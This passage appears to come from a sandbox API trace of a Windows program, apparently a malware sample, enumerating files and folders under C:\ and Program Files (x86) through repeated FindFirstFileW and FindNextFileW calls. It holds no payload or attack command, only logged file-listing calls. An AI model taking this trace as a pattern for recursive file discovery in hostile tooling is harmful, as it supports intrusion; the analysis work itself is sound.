ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0139.101] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.101] FindClose (in: hFindFile=0x1bc467b0 | out: hFindFile=0x1bc467b0) returned 1 [0139.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0139.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0139.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0139.102] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0139.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc467b0 [0139.102] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96f46f30, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f46f30, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3070060, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x96eae9b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96eae9b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc549c20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xd74a280, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd74a280, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1434c8c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0139.103] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x96ed4b10, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96ed4b10, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96ed4b10, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96ed4b10, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96efac70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96efac70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96efac70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96efac70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f20dd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f20dd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0139.104] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x96d57d50, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96d57d50, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0139.105] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.105] FindClose (in: hFindFile=0x1bc467b0 | out: hFindFile=0x1bc467b0) returned 1 [0139.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0139.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0139.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0139.105] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft OneDrive", lpFilePart=0x0) returned 0x29 [0139.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\*" (normalized: "c:\\program files (x86)\\microsoft onedrive\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x96eae9b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96eae9b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc467b0 [0139.106] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x96eae9b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96eae9b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.106] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f267200, ftCreationTime.dwHighDateTime=0x1d87529, ftLastAccessTime.dwLowDateTime=0x7350f9c0, ftLastAccessTime.dwHighDateTime=0x1d87e5b, ftLastWriteTime.dwLowDateTime=0x7350f9c0, ftLastWriteTime.dwHighDateTime=0x1d87e5b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fact citizen.exe", cAlternateFileName="FACTCI~1.EXE")) returned 1 [0139.106] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d10ce40, ftCreationTime.dwHighDateTime=0x1d83a8c, ftLastAccessTime.dwLowDateTime=0x67b1c6f0, ftLastAccessTime.dwHighDateTime=0x1d87751, ftLastWriteTime.dwLowDateTime=0x67b1c6f0, ftLastWriteTime.dwHighDateTime=0x1d87751, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0139.106] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e48eb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2e48eb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xbffe0770, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveSetup.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0139.106] FindNextFileW (in: hFindFile=0x1bc467b0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e48eb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2e48eb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xbffe0770, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveSetup.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 0 [0139.106] FindClose (in: hFindFile=0x1bc467b0 | out: hFindFile=0x1bc467b0) returned 1 [0139.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0139.107] 